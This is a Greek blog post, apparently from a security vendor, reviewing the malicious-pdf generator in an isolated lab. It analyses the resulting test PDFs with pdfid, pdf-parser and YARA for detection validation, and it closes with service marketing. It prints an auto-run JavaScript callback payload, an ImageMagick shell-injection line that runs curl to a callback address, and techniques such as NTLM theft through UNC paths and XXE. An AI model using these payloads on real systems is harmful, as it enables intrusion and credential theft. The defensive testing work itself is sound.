Ένα PDF δεν είναι ποτέ «απλώς ένα έγγραφο». Μπορεί να κρύβει JavaScript που εκτελείται μόλις το ανοίξετε, ενέργειες που «τηλεφωνούν σπίτι» σε έναν εξωτερικό server, διαδρομές UNC που διαρρέουν NTLM credentials, ή XXE που χτυπά τη βιβλιοθήκη επεξεργασίας εγγράφων στο backend σας. Σε αυτό το εργαστήριο παίρνουμε το malicious-pdf του Jonas Lejon, παράγουμε ελεγχόμενα κακόβουλα PDF μέσα σε απομονωμένο περιβάλλον και ελέγχουμε με αμυντικά εργαλεία (pdfid, pdf-parser, YARA) τι ακριβώς βλέπει ένας defender — για να απαντήσουμε στο μόνο ερώτημα που μετράει: το δικό σας stack τα πιάνει;
Νομική και ηθική προειδοποίηση. Το malicious-pdf παράγει πραγματικά κακόβουλα αρχεία δοκιμής. Το περιεχόμενο αυτού του άρθρου προορίζεται αποκλειστικά για χρήση σε απομονωμένο, νόμιμο εργαστήριο και μόνο πάνω σε συστήματα που σας ανήκουν ή για τα οποία έχετε γραπτή εξουσιοδότηση. Μην στέλνετε, μην ανεβάζετε, μην μοιράζεστε και μην ανοίγετε τα παραγόμενα PDF σε παραγωγικά μηχανήματα, mailboxes ή συστήματα τρίτων. Οι διευθύνσεις «callback» πρέπει να δείχνουν μόνο σε υποδομή που ελέγχετε εσείς (ή σε αβλαβή placeholder). Στο δικό μας εργαστήριο χρησιμοποιήσαμε loopback χωρίς listener και δεν ανοίξαμε ποτέ κανένα αρχείο — μόνο στατική ανάλυση. Η μη εξουσιοδοτημένη χρήση τέτοιων τεχνικών είναι παράνομη.
Εισαγωγή: γιατί το PDF παραμένει ένα από τα πιο επικίνδυνα format
Το PDF σχεδιάστηκε για να είναι φορητό και «πιστό» στην αναπαραγωγή, αλλά με τα χρόνια εξελίχθηκε σε ένα εξαιρετικά πλούσιο container: μπορεί να περιέχει JavaScript, φόρμες (AcroForm, XFA), ενσωματωμένα αρχεία, ενέργειες αυτόματης εκτέλεσης, ακόμη και HTML/RichMedia. Αυτό ακριβώς που το κάνει χρήσιμο στην επιχείρηση — αυτοματισμοί, δυναμικές φόρμες, υπογραφές, ενσωματωμένο περιεχόμενο — το κάνει και ιδανικό φορέα επίθεσης.
Στην καθημερινότητα ενός SOC ή μιας ομάδας offensive security, το PDF εμφανίζεται σε τρία σημεία-κλειδιά. Πρώτον, ως συνημμένο σε phishing: το θύμα το ανοίγει και ο reader εκτελεί μια ενέργεια. Δεύτερον, ως αρχείο που ανεβαίνει σε web εφαρμογή (π.χ. σύστημα αιτήσεων, ATS, τιμολόγηση) όπου ένας μετατροπέας ή μια βιβλιοθήκη το επεξεργάζεται server-side — εδώ γεννιούνται SSRF, XXE και NTLM leaks. Τρίτον, ως δείγμα προς ανάλυση σε sandbox ή EDR. Και στις τρεις περιπτώσεις, το ερώτημα του υπεύθυνου ασφάλειας είναι το ίδιο: «αν μου έρθει ένα κακόβουλο PDF, θα το δει κανείς;»
Η μόνη σοβαρή απάντηση σε αυτό δεν είναι θεωρητική — είναι εργαστηριακή. Χρειάζεστε ένα ελεγχόμενο σύνολο κακόβουλων PDF, με γνωστές τεχνικές, ώστε να το περάσετε μέσα από το email gateway, το EDR, το sandbox και το static analysis pipeline σας και να μετρήσετε τι πιάνεται και τι περνά. Ακριβώς αυτό το labelled σύνολο σας δίνει το malicious-pdf.
Τι είναι το malicious-pdf
Το malicious-pdf είναι ένα εργαλείο γραμμένο σε Python (ένα και μόνο αρχείο, ~4.450 γραμμές) από τον Σουηδό ερευνητή Jonas Lejon (Triop AB). Με μία εντολή παράγει περίπου 70 δοκιμαστικά αρχεία (69 PDF και ένα SVG polyglot), όπου κάθε αρχείο ενσωματώνει μια δική σας διεύθυνση callback μέσα σε μια διαφορετική τεχνική επίθεσης PDF. Ο σκοπός, όπως δηλώνεται ρητά από τον συγγραφέα, είναι penetration testing, bug bounty και red teaming — «educational and professional purposes only».
Η βασική ιδέα είναι απλή αλλά ισχυρή: αντί να ψάχνετε χειροκίνητα δεκάδες PDF tricks, το εργαλείο τα υλοποιεί όλα ως ξεχωριστά, «καθαρά» test cases, το καθένα αντιστοιχισμένο σε ένα CVE ή σε δημοσιευμένη έρευνα. Ενδεικτικά, το σύνολο καλύπτει:
- Αυτόματη εκτέλεση JavaScript:
/OpenAction,/AA(additional actions όπως page-visible, page-close, mouse-enter),/Names /JavaScript. - Ενέργειες callback:
/URI,/Launch,/GoToR(remote PDF),/GoToE(embedded),/SubmitForm,/ImportData,/Thread. - JavaScript network APIs reader/browser:
app.launchURL(),this.getURL(),this.submitForm(),SOAP.connect(),app.openDoc(), καθώς καιfetch(),XMLHttpRequest,WebSocket,new Image()για PDF.js. - NTLM credential theft μέσω διαδρομών UNC (
\\host\...) που πυροδοτούν σιωπηλή αυθεντικοποίηση. - XXE σε
/Metadata(XMP) και σε/AcroForm /XFA— στοχεύει server-side βιβλιοθήκες όπως Apache PDFBox, iText, Apache Tika. - Data exfiltration μέσω XFA/FormCalc
Post()και μέσωgetPageNthWord(). - Το EICAR anti-virus test string (test11) για δοκιμή AV.
- Ένα ImageMagick MSL polyglot (test14.svg) για shell injection σε ευάλωτους μετατροπείς εικόνας.
- Νεότερα CVE 2024–2026: PDF.js FontMatrix (CVE-2024-4367), LibreOffice URL expansion (CVE-2024-12426), Foxit signing (CVE-2025-59803), XFA OOB XXE (CVE-2025-66516), jsPDF object injection (CVE-2026-25755) κ.ά.
Σημαντικό για ρεαλιστικές προσδοκίες: το malicious-pdf παράγει callbacks και probes, όχι weaponised memory-corruption exploits. Ο ίδιος ο συγγραφέας δηλώνει «won’t implement» για CVE που απαιτούν heap spray/ROP/shellcode. Αυτό είναι θετικό: το εργαλείο είναι σχεδιασμένο για έλεγχο detection και ανίχνευσης συμπεριφοράς, όχι για πρόκληση ζημιάς.
Το εργαλείο διαθέτει και επίπεδα obfuscation (--obfuscate 0-4): hex encoding ονομάτων, octal/hex encoding strings, JS bracket notation, FlateDecode συμπίεση, και στο επίπεδο 4 ένα base64 staged loader ώστε οι αρχικές κλήσεις API να μην εμφανίζονται ως literal substrings — ιδανικό για να ελέγξετε αν το detection σας αντέχει σε evasion.
Γιατί έχει αξία για επαγγελματίες κυβερνοασφάλειας
Για την αμυντική πλευρά — που είναι και η οπτική με την οποία το προσεγγίζουμε στην Audax — το malicious-pdf είναι ένα έτοιμο detection-validation corpus. Αντί να ελπίζετε ότι το email security και το EDR σας «μάλλον πιάνουν κακόβουλα PDF», τους δίνετε ένα labelled σύνολο και μετράτε ρητά: πόσα από τα 70 μπλοκαρίστηκαν, πόσα καραντινάρισε το gateway, πόσα σήκωσαν alert στο sandbox, πόσα πέρασαν σιωπηλά. Το αποτέλεσμα είναι ένας πίνακας pass/fail ανά τεχνική — ακριβώς το είδος τεκμηρίου που χρειάζεστε για detection engineering και για purple-team ασκήσεις.
Για την επιθετική πλευρά, το εργαλείο επιταχύνει δραματικά τον έλεγχο file-upload endpoints και pipelines επεξεργασίας εγγράφων. Σε ένα εξουσιοδοτημένο web, API & mobile penetration testing, το να ανεβάσετε PDF με /URI ή XXE payloads και να παρακολουθείτε έναν out-of-band listener είναι κλασική τεχνική για blind SSRF, XXE και NTLM leaks. Το malicious-pdf σας δίνει έτοιμο το οπλοστάσιο των δειγμάτων.
Και οι δύο οπτικές συγκλίνουν στο adversary validation: η ουσία δεν είναι «έχω εργαλεία ασφάλειας», αλλά «απέδειξα ότι δουλεύουν απέναντι σε συγκεκριμένες τεχνικές». Σε ένα πλαίσιο συμμόρφωσης NIS2 και DORA, η διαφορά ανάμεσα στο «έχουμε email security» και στο «δοκιμάσαμε το email security μας απέναντι σε 70 τεχνικές κακόβουλων PDF και εδώ είναι τα ευρήματα» είναι η διαφορά ανάμεσα σε μια δήλωση και σε μια απόδειξη.
Εγκατάσταση και αρχική παραμετροποίηση
Προαπαιτούμενα
- Linux host με Python 3 (δοκιμάστηκε σε Python 3.12.3) και
git. - Έναν απομονωμένο φάκελο εργασίας, χωρίς συγχρονισμό με cloud/backup/mail.
- Πρόσβαση χρήστη χωρίς δικαιώματα root (δεν χρειάζεται sudo για το ίδιο το εργαλείο).
- Για την αμυντική ανάλυση: τα
pdfid.pyκαιpdf-parser.pyτου Didier Stevens και προαιρετικάyara-python. - Καμία εξωτερική υποδομή δεν είναι απαραίτητη: για τη διεύθυνση callback χρησιμοποιούμε loopback placeholder.
Βήμα 1 — Κλωνοποίηση του repository
cd "/media/theofanis/Second Disk/audaxwebsite/Offensive_Labs_Gr/tools/malicious-pdf"
git clone --depth 1 https://github.com/jonaslejon/malicious-pdf.git repo
Επαλήθευση: ο φάκελος repo/ πρέπει να περιέχει το malicious-pdf.py, README.md, requirements.txt, LICENSE, CHANGELOG.md. Στο δικό μας τρέξιμο, το HEAD ήταν το commit 31fa7f6 (4 Ιουνίου 2026), έκδοση 1.0.1, με άδεια BSD 2-Clause.
Βήμα 2 — Απομονωμένο virtual environment και εξαρτήσεις
python3 -m venv venv
./venv/bin/pip install --upgrade pip
./venv/bin/pip install -r repo/requirements.txt
Πραγματικό output:
Collecting validators (from -r repo/requirements.txt (line 1))
Downloading validators-0.35.0-py3-none-any.whl (44 kB)
Installing collected packages: validators
Successfully installed validators-0.35.0
Αξίζει να σταθούμε εδώ: η μόνη εξάρτηση είναι το validators. Δεν υπάρχουν δεκάδες πακέτα, δεν υπάρχει build βήμα, δεν υπάρχει compiled κώδικας. Αυτό απλοποιεί και το supply-chain review.
Επαλήθευση:
./venv/bin/python repo/malicious-pdf.py --version
# malicious-pdf.py 1.0.1
Βήμα 3 — Προσθήκη αμυντικών εργαλείων
mkdir -p deftools
curl -fsSL -o deftools/pdfid.py https://raw.githubusercontent.com/DidierStevens/DidierStevensSuite/master/pdfid.py
curl -fsSL -o deftools/pdf-parser.py https://raw.githubusercontent.com/DidierStevens/DidierStevensSuite/master/pdf-parser.py
./venv/bin/pip install yara-python
Τα pdfid.py και pdf-parser.py του Didier Stevens είναι ο de facto standard για στατική ανάλυση PDF στην αμυντική πλευρά. Το yara-python το χρησιμοποιούμε για να δείξουμε πώς μεταφράζονται τα ευρήματα σε κανόνες detection.
Το εργαστηριακό περιβάλλον δοκιμών
Η αρχιτεκτονική του lab μας είναι σκόπιμα λιτή, γιατί το εργαλείο δεν χρειάζεται τίποτα βαρύ:
- Host: Ubuntu (Linux 6.17), Python 3.12, χρήστης χωρίς root. Όλα τρέχουν σε απομονωμένο δέντρο φακέλων.
- Απομόνωση εργαλείου: το malicious-pdf ζει σε δικό του venv (
tools/malicious-pdf/venv). - Απομόνωση δειγμάτων: τα παραγόμενα αρχεία γράφονται σε έναν προσωρινό φάκελο (
targets/malicious-pdf/lab-output) που διαγράφεται μετά τη συλλογή αποδείξεων. - Ασφάλεια callback/SSRF: η διεύθυνση callback που «ψήνεται» σε κάθε PDF είναι
http://127.0.0.1:4444— loopback, χωρίς κανέναν listener. Έτσι, ακόμη κι αν κάποιο αρχείο ανοιγόταν κατά λάθος, δεν θα υπήρχε πουθενά να «τηλεφωνήσει». - Χωρίς εκτέλεση: κανένα PDF δεν ανοίχτηκε σε reader, browser, μετατροπέα ή mail client. Μόνο στατική ανάλυση.
- Χωρίς container: επειδή το εργαλείο είναι ένα καθαρά Python αρχείο με μία εξάρτηση, το venv αρκεί ως όριο απομόνωσης. (Αν θέλατε να δοκιμάσετε detection απέναντι σε ζωντανό reader, θα το κάνατε σε disposable VM χωρίς network egress.)
Αυτή η προσέγγιση κρατά το πείραμα εντελώς εντός εργαστηρίου: το εργαλείο είναι αδρανές στην παραγωγή· ο μόνος κίνδυνος είναι η κακή διαχείριση των αρχείων μετά.
Πρακτική δοκιμή του εργαλείου
Το σενάριό μας είναι καθαρά αμυντικό: «παράγω το πλήρες σύνολο κακόβουλων PDF και ελέγχω τι βλέπει ένας defender με στατικά εργαλεία — χωρίς να εκτελέσω τίποτα».
Βήμα 1 — Παραγωγή του corpus (loopback callback)
./venv/bin/python repo/malicious-pdf.py http://127.0.0.1:4444 \
--output-dir ../../targets/malicious-pdf/lab-output
Πραγματικό (αποσπασματικό) output:
[+] Creating PDF files..
[*] test1.pdf - CVE-2018-4993 - /GoToE action with UNC path (NTLM callback)
[*] test3.pdf - JavaScript injection - /OpenAction calls app.openDoc() on remote URL
[*] test5.pdf - PDF101 - /URI action triggers DNS/HTTP request
[*] test11.pdf - EICAR test file - anti-virus detection string
[*] test33_2.pdf - Acrobat JS - this.getURL() URL fetch
[*] test34_1.pdf - UNC - image XObject with UNC path (NTLM via page render)
[*] test42.pdf - CVE-2025-66516 - OOB %xxe; param entity in XFA (Tika/Confluence/Jira)
[*] test48.pdf - XFA SOAP submit with initialize event (Acrobat XFA engine)
[-] Done!
Επαλήθευση:
ls -1 ../../targets/malicious-pdf/lab-output | wc -l
# 70
du -sh ../../targets/malicious-pdf/lab-output
# 312K
70 αρχεία (69 .pdf + 1 .svg), 312 KB συνολικά. Κάθε γραμμή εξόδου τεκμηριώνει την τεχνική και το αντίστοιχο CVE — πολύ βολικό για να χτίσετε τον δικό σας πίνακα ελέγχου.
Βήμα 2 — Τι βλέπει ο defender: προφίλ keywords με pdfid
./venv/bin/python deftools/pdfid.py ../../targets/malicious-pdf/lab-output/test3.pdf
Πραγματικό output (απόσπασμα):
PDFiD 0.2.10 test3.pdf
PDF Header: %PDF-1.4
/JS 1
/JavaScript 1
/OpenAction 1
/Launch 0
/EmbeddedFile 0
Αυτό ακριβώς είναι το σήμα που πυροδοτεί triage σε ένα ώριμο PDF filter: αυτόματη εκτέλεση (/OpenAction) συνδυασμένη με JavaScript. Τρέχοντας το pdfid σε ολόκληρο το corpus, πήραμε το εξής συγκεντρωτικό προφίλ:
Aggregate PDFiD keyword profile across 69 PDF files
Keyword Files w/ >0 Total hits
------------------------------------------
/OpenAction 35 35
/JavaScript 34 35
/JS 34 34
/AcroForm 14 14
/URI 8 22
/AA 9 9
/XFA 8 8
/Launch 2 2
/EmbeddedFile 2 2
/RichMedia 1 1
/ObjStm 1 4
Με μια ματιά: η πλειοψηφία του corpus «ανάβει» ακριβώς στα keywords που ελέγχει ένας σοβαρός αμυντικός μηχανισμός — αυτόματα εκτελούμενο JavaScript και ενέργειες εξόδου προς το δίκτυο.
Βήμα 3 — Αποκάλυψη του payload και του callback URL
grep -a -o "/OpenAction" -A2 ../../targets/malicious-pdf/lab-output/test3.pdf
Πραγματικό output:
/OpenAction
/JS(
'app.openDoc({cPath: encodeURI("http://127.0.0.1:4444"), cFS: "CHTTP" });'
Το callback URL είναι σε καθαρό κείμενο μέσα στο JavaScript. Αντίστοιχα, το SVG polyglot:
head -1 ../../targets/malicious-pdf/lab-output/test14.svg
# <image authenticate='ff" `curl http://127.0.0.1:4444/test14`;"'>
Εδώ φαίνεται καθαρά η τεχνική shell injection μέσω του authenticate attribute σε ευάλωτο ImageMagick, μαζί με .
Βήμα 4 — Το «κρυμμένο» EICAR: γιατί χρειάζεστε αποσυμπίεση
Το test11 περιέχει το EICAR test string, αλλά δεν εμφανίζεται σε απλό grep, γιατί είναι αποθηκευμένο μέσα σε συμπιεσμένο stream (FlateDecode/ObjStm):
./venv/bin/python deftools/pdf-parser.py --filter --raw --search "" \
../../targets/malicious-pdf/lab-output/test11.pdf | strings | grep X5O
Πραγματικό output:
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
Το μάθημα εδώ είναι κρίσιμο για detection engineering: αν το static analysis σας δεν αποσυμπιέζει τα PDF streams πριν ψάξει, θα χάσει payloads. Αυτό ισχύει και για το EICAR και για JavaScript κρυμμένο σε ObjStm.
Βήμα 5 — Detection engineering: σάρωση με YARA
Γράψαμε ένα μικρό σετ κανόνων (pdf_detect.yar) που σημαδεύει auto-exec JavaScript, ενέργειες callback και reader/browser network APIs, και το τρέξαμε σε όλο το corpus:
YARA scan of malicious-pdf corpus (raw bytes, static only)
Files scanned : 70
Files matched : 51
-------------------------------------------------------
Rule Files hit
PDF_AutoExec_JavaScript 31
PDF_JS_Network_APIs 27
PDF_Callback_Actions 19
51 στα 70 αρχεία εντοπίστηκαν με απλούς raw-byte κανόνες. Τα υπόλοιπα 19 (κυρίως XFA/FormCalc/XXE και δομές φιλικές σε obfuscation) ξέφυγαν — ένα ρεαλιστικό αποτέλεσμα που δείχνει τα κενά των naive κανόνων.
Και το κλειδί, το two-stage detection για το EICAR:
=== Stage 1: YARA on RAW test11.pdf (EICAR is compressed) ===
EICAR match: False
=== Stage 2: pdf-parser --filter (decompress), THEN YARA ===
Rules matched on decoded stream: ['PDF_AutoExec_JavaScript', 'PDF_EICAR_Embedded']
Στο raw byte scan: καμία αντιστοίχιση. Μετά την αποσυμπίεση: το PDF_EICAR_Embedded χτυπά. Αυτό είναι, σε μία εικόνα, ο λόγος που ένα σοβαρό PDF detection pipeline πρέπει να αποκωδικοποιεί streams.
Αντιμετώπιση προβλημάτων
pdf-parser --statsδείχνει «0 indirect objects» σε κάποια δείγματα: πολλά test files είναι σκόπιμα minimal/malformed για να «χτυπήσουν» χαλαρούς parsers. Δεν είναι σφάλμα — απλώς χρησιμοποιήστε keyword εργαλεία (pdfid) ή raw grep για να δείτε το payload, και--filterστα κανονικά δομημένα (π.χ. test11).- Το YARA δεν πιάνει το EICAR στο raw scan: αναμενόμενο, γιατί είναι συμπιεσμένο. Αποσυμπιέστε πρώτα με
pdf-parser --filterκαι μετά σαρώστε. ModuleNotFoundError: No module named 'PIL'(αν χρησιμοποιείτε βοηθητικά scripts για rendering): το Pillow ζει στο system Python, όχι στο venv — τρέξτε τα μεpython3του συστήματος.- Δεν υπάρχει ClamAV/EDR: η εγκατάσταση AV απαιτεί δικαιώματα root. Για δοκιμή AV/EDR χρησιμοποιήστε το δικό σας περιβάλλον· εδώ αποδείξαμε την αρχή με το two-stage YARA.
Το να τρέξετε ένα εργαλείο μόνοι σας είναι το εύκολο κομμάτι. Η ομάδα της Audax εκτελεί penetration testing και offensive assessment που αποδεικνύουν στην πράξη τι πραγματικά σας εκθέτει — με τεκμηριωμένα ευρήματα και προτεραιοποίηση.
Τι αποτελέσματα έδωσε
Συνοψίζοντας το εργαστήριο σε αριθμούς που μετράνε για έναν υπεύθυνο ασφάλειας:
- Παραγωγή: 70 αρχεία σε δευτερόλεπτα, το καθένα με ετικέτα τεχνικής/CVE. Μηδέν σφάλματα, μηδέν δικτυακή δραστηριότητα κατά την παραγωγή.
- Ορατότητα με pdfid: 35 αρχεία με
/OpenAction, 34 με/JavaScript, 8 με/URI(22 συνολικές εμφανίσεις), 8 με/XFA, 2 με/Launch. Δηλαδή, τα «θορυβώδη» και εύκολα ανιχνεύσιμα δείγματα κυριαρχούν — καλό νέο για έναν ώριμο defender. - Ορατότητα με YARA: 51/70 με απλούς κανόνες. Τα 19 που ξέφυγαν είναι το πιο διδακτικό μέρος: δείχνουν ότι XFA/XXE και obfuscation απαιτούν πιο έξυπνο detection (structural parsing, αποσυμπίεση, entropy, behavioral sandboxing).
- Two-stage EICAR: η απόδειξη ότι χωρίς αποσυμπίεση streams, χάνετε payloads.
Η πιο χρήσιμη γνώση δεν είναι «το εργαλείο δουλεύει» (δουλεύει), αλλά τι αποκαλύπτει για τη δική σας άμυνα. Αν περάσετε αυτά τα 70 αρχεία μέσα από το πραγματικό σας email gateway και EDR, θα έχετε έναν πίνακα pass/fail που είναι άμεσα αξιοποιήσιμος: ποιες τεχνικές μπλοκάρονται, ποιες σηκώνουν alert, ποιες περνούν αθόρυβα. Αυτός ο πίνακας είναι το ζητούμενο παραδοτέο μιας άσκησης detection validation.
Να είμαστε ειλικρινείς για το τι δεν κάναμε: δεν ανοίξαμε, δεν αποδώσαμε (render), δεν στείλαμε και δεν ανεβάσαμε κανένα αρχείο. Δεν τρέξαμε ζωντανό ClamAV/EDR ούτε πραγματικό PDF reader — η ανίχνευση AV αποδείχθηκε ως αρχή μέσω του two-stage YARA, όχι απέναντι σε παραγωγικό engine. Αυτά τα βήματα ανήκουν στο δικό σας ελεγχόμενο περιβάλλον, με τη δική σας υποδομή listener.
Το Erevos AI είναι η ετήσια managed υπηρεσία Continuous Threat Exposure Management (CTEM) της Audax — human-led, machine-scaled, με τεκμηριωμένη απόδειξη ανθεκτικότητας για NIS2 & DORA.
Δυνατά σημεία
- Μηδενική τριβή εγκατάστασης: ένα αρχείο, μία εξάρτηση, καθαρό
--help, τρέχει σε λιγότερο από δύο λεπτά. Το supply-chain review είναι εύκολο. - Εύρος και ετικετοποίηση: ~70 τεχνικές, από viewers (Acrobat/Foxit/PDF.js/PDFium) μέχρι μετατροπείς (ImageMagick/LibreOffice) και server-side βιβλιοθήκες (PDFBox/iText/Tika). Κάθε αρχείο είναι μονο-τεχνικό test case, ιδανικό για pass/fail scoring.
- Αντιστοίχιση σε CVE/έρευνα: τα ευρήματα μεταφράζονται άμεσα σε κανόνες detection, test cases για gateway/EDR και υλικό για client reporting.
- Obfuscation levels: ελέγχετε αν το detection επιβιώνει σε evasion — κρίσιμο για ρεαλιστικό threat modeling.
- Ενεργή συντήρηση και αξιοπιστία: CHANGELOG, SECURITY.md με PGP, CI smoke test, CodeQL/Semgrep, Dependabot, ~4.1k stars, άδεια BSD-2. Δεν είναι εγκαταλελειμμένο ούτε ύποπτο.
- Έντιμο scope: παράγει callbacks/probes, όχι weaponised exploits — ασφαλέστερο για χειρισμό σε lab.
- CLI-only, χωρίς ενσωματωμένη ανάλυση/scoring: εσείς φέρνετε τα αμυντικά εργαλεία και τον listener. Δεν είναι scanner.
- Δεν επιλέγει τεχνικές: παράγει ολόκληρο το corpus κάθε φορά· φιλτράρετε μετά.
- Minimal/malformed δείγματα: ορισμένα δεν θα αποδοθούν από modern readers, οπότε ένα «κανένα callback» μπορεί να σημαίνει «ο reader το απέρριψε», όχι «ο reader είναι ασφαλής». Χρειάζεται ερμηνεία.
- EOL στόχευση: κάποιες τεχνικές αφορούν παλαιότερες εκδόσεις reader· σύγχρονοι hardened readers μπλοκάρουν πολλά by default.
- Επικίνδυνο output: τα παραγόμενα αρχεία είναι πραγματικό υλικό δοκιμής — κακή διαχείριση (π.χ. ένα ξεχασμένο αρχείο σε κοινόχρηστο ή mail φάκελο) είναι υπαρκτός λειτουργικός κίνδυνος.
- Μεταχειριστείτε τα αρχεία ως ζωντανό malware δοκιμής: απομονωμένος φάκελος, χωρίς συγχρονισμό/backup, χωρίς mail client, διαγραφή μετά τη χρήση (εμείς διαγράψαμε το corpus αφού κρατήσαμε SHA256 inventory και output ως αποδείξεις).
- Callbacks μόνο σε δική σας υποδομή: σε listener που ελέγχετε πάνω σε απομονωμένο bridge, ή loopback/placeholder. Ποτέ σε πραγματικό εξωτερικό host.
- Εξουσιοδότηση: δοκιμάζετε μόνο συστήματα που σας ανήκουν ή έχετε γραπτή άδεια. Για delivery τύπου phishing, η εξουσιοδότηση και το scoping παραληπτών είναι υποχρεωτικά — δείτε και τις AI phishing simulations ως δομημένο, νόμιμο πλαίσιο.
- Καρφιτσώστε το commit: κάντε review και pin την έκδοση που ελέγξατε.
- Ερμηνεία αποτελεσμάτων: μη θεωρήσετε το «κανένα callback» ως απόδειξη ασφάλειας.
- Detection engineering / purple team: βαθμολόγηση του PDF/email/EDR/sandbox stack απέναντι σε labelled corpus.
- Email-security validation: ελέγχει αν το gateway αφαιρεί/ανιχνεύει/detonate PDF με JavaScript και callbacks.
- File-upload & server-side PDF testing (pentest): SSRF/XXE/NTLM-leak σε μετατροπείς και pipelines εγγράφων, υπό εξουσιοδότηση.
- Ασκήσεις ανθεκτικότητας σε phishing: staging ρεαλιστικών (και περιορισμένων) συνημμένων για awareness και response drills.
- Είσοδος σε CTEM: επαναλαμβανόμενη επικύρωση ελέγχων ώστε να αποδεικνύεται ότι η έκθεση μέσω PDF παραμένει κλειστή στον χρόνο.
- Σε οποιαδήποτε παράδοση προς συστήματα ή ανθρώπους χωρίς εξουσιοδότηση.
- Άνοιγμα/απόδοση των αρχείων σε παραγωγικά ή καθημερινά μηχανήματα.
- Ως «PDF scanner» — παράγει, δεν αναλύει.
- Ως μοναδική απόδειξη ασφάλειας: τα minimal δείγματα μπορεί απλώς να απορρίπτονται από τον reader.
Περιορισμοί και αδυναμίες
Θέματα ασφάλειας κατά τη χρήση
Πριν χρησιμοποιήσετε το malicious-pdf επαγγελματικά, βεβαιωθείτε για τα εξής:
Πού μπορεί να χρησιμοποιηθεί επαγγελματικά
Πότε δεν πρέπει να χρησιμοποιηθεί
Τελική αξιολόγηση
Βαθμολογία: 8/10 — Συνιστάται (με σαφείς όρους εξουσιοδότησης και χειρισμού). Το malicious-pdf κάνει ακριβώς αυτό που υπόσχεται, εγκαθίσταται σε δευτερόλεπτα και το CVE-mapped corpus του μετατρέπεται καθαρά σε κανόνες detection, test cases για gateway/EDR και τεκμήρια για πελάτες. Δεν είναι scanner και δεν παράγει δική του ανάλυση, ενώ το output του είναι επικίνδυνο υλικό που πρέπει να μένει εντός εργαστηρίου και να χρησιμοποιείται μόνο υπό εξουσιοδότηση. Κρίνοντάς το αυστηρά στο ερώτημα «με βοηθά να αποδείξω αν το stack μου πιάνει κακόβουλα PDF;» — ναι, αποτελεσματικά.
Συμπέρασμα
Το μεγαλύτερο κέρδος από αυτό το εργαστήριο δεν είναι το ίδιο το εργαλείο, αλλά η νοοτροπία που επιβάλλει: σταματάμε να υποθέτουμε ότι οι άμυνές μας «μάλλον πιάνουν» κακόβουλα PDF και αρχίζουμε να το μετράμε. Το malicious-pdf δίνει το πρώτο μισό της εξίσωσης — ένα ελεγχόμενο, labelled σύνολο επιθέσεων. Το δεύτερο μισό — να το περάσετε μέσα από το πραγματικό σας email security, EDR και sandbox και να διορθώσετε ό,τι περνά — είναι εκεί που δημιουργείται πραγματική αξία. Και αυτό είναι μια διαρκής διαδικασία, όχι ένα εφάπαξ τεστ: νέα CVE και νέες τεχνικές PDF εμφανίζονται συνεχώς, όπως δείχνει και το ίδιο το corpus με payloads του 2025–2026.
Από το εργαστήριο, στο δικό σας περιβάλλον
Ένα εργαλείο σαν το malicious-pdf σας δείχνει τι είναι εφικτό. Η πραγματική ερώτηση είναι αν οι δικοί σας μηχανισμοί — email gateway, EDR, sandbox, PDF readers, server-side pipelines — αντέχουν αυτές τις τεχνικές, συνεχώς και όχι μία φορά.
Η Audax Cybersecurity μετατρέπει αυτού του είδους τα εργαστηριακά ευρήματα σε δομημένη, αποδεδειγμένη ανθεκτικότητα: μέσα από penetration testing, adversary validation και συνεχή Continuous Threat Exposure Management. Η ετήσια managed υπηρεσία Erevos AI (CTEM) συνδυάζει ανθρώπινη εμπειρογνωμοσύνη με αυτοματοποίηση κλίμακας, παρέχοντας τεκμηριωμένη απόδειξη ανθεκτικότητας — ακριβώς το είδος τεκμηρίου που απαιτούν οι NIS2 και DORA.
Human-led. Machine-scaled. Technically proven.
Επισκεφθείτε το https://www.audax.gr για να μάθετε πώς μπορούμε να επικυρώσουμε την πραγματική ανθεκτικότητα των συστημάτων σας απέναντι σε κακόβουλα PDF και σύγχρονες τεχνικές επίθεσης.
Θέλετε συνεχή επικύρωση της ασφάλειάς σας — όχι έλεγχο μία φορά τον χρόνο;
Το Erevos AI είναι η ετήσια, managed υπηρεσία CTEM της Audax — ενοποιεί exposure mapping, penetration testing, adversary emulation, detection validation & remediation σε έναν συνεχή, αποδεικτικό κύκλο. Human-led. Machine-scaled. Technically proven. Ευθυγραμμισμένο με NIS2 & DORA.
Ανακαλύψτε το Erevos AI →Χρειάζεστε Penetration Testing για τον οργανισμό σας;
Περιγράψτε το scope του ελέγχου μέσα από το δομημένο ερωτηματολόγιο και λάβετε εξατομικευμένη τεχνική & οικονομική προσφορά από την ομάδα Offensive Security της Audax. Χωρίς αυτόματη τιμή ή δέσμευση — η προσφορά αποστέλλεται μετά από τεχνική αξιολόγηση του scope.
Ζητήστε προσφορά Penetration Testing →







